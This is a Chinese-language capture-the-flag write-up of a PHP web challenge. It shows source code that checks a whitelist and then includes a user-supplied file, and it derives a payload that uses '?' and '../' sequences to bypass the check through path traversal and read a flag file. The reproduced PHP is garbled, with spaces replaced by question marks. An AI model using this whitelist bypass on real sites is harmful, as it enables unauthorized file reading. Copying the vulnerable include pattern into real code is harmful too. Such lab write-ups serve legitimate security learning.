- 打开题目发现一张滑稽的图片🤡
查看源码以后发现源码中有一个访问地址source.php
访问以后得到了源码 发现了文件包含的特点 highlight_file(__FILE__)
<?php
????highlight_file(__FILE__);
????class?emmm
????{
????????public?static?function?checkFile(&$page)
????????{
????????????$whitelist?=?["source"=>"source.php","hint"=>"hint.php"];
????????????if?(!?isset($page)?||?!is_string($page))?{//判断page是否声明以及值是否为字符串缺一则返回flase????????????????echo?"you?can't?see?it";
????????????????return?false;
????????????}
????????????if?(in_array($page,?$whitelist))?{//判断page中的值是否为白名单里面的如果为真则返回true????????????????return?true;
????????????}
????????????$_page?=?mb_substr(//返回page变量中？之前的值并赋给_page????????????????$page,
????????????????0,
????????????????mb_strpos($page?.?'?',?'?')
????????????);
????????????if?(in_array($_page,?$whitelist))?{//判断_page中的值是否为白名单里面的如果为真则返回true????????????????return?true;
????????????}
????????????$_page?=?urldecode($page);
????????????$_page?=?mb_substr(?????????//返回_page变量中？之前的值并赋给_page????????????????$_page,
????????????????0,
????????????????mb_strpos($_page?.?'?',?'?')
????????????);
????????????if?(in_array($_page,?$whitelist))?{//再次判断_page中的值是否为白名单里面的如果为真则返回true????????????????return?true;
????????????}
????????????echo?"you?can't?see?it";
????????????return?false;
????????}
????}
????if?(!?empty($_REQUEST['file'])
????????&&?is_string($_REQUEST['file'])
????????&&?emmm::checkFile($_REQUEST['file'])
????)?{
????????include?$_REQUEST['file'];
????????exit;
????}?else?{
????????echo?"<br><img?src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\"?/>";
????}??
?>
?以下是觉得源码中出现的重要函数
in_array() 函数 搜索数组中是否存在指定的值。
?mb_substr()函数 返回字符串的一部分
mb_strpos()函数 返回要查找的字符串在别一个字符串中首次出现的位置
?读完了源代码自己理解就是在？之前的值要是白名单里的才可以执行，也就是？之前的值要么是hint.php要么就是source.php
所以就构造payload：http://045459f4-897a-4078-94b1-40ebf770a1dd.node4.buuoj.cn:81/source.php?file=hint.php
继续进行访问，发现底部出现提示
但是不知道ffffllllaaaagggg到底在那一个路径下面，只能一个个加../去试
最后试出来最终payload为http://045459f4-897a-4078-94b1-40ebf770a1dd.node4.buuoj.cn:81/source.php?file=hint.php?../../../../../ffffllllaaaagggg
得到flag
?
?
?
?
?
?
?
?
?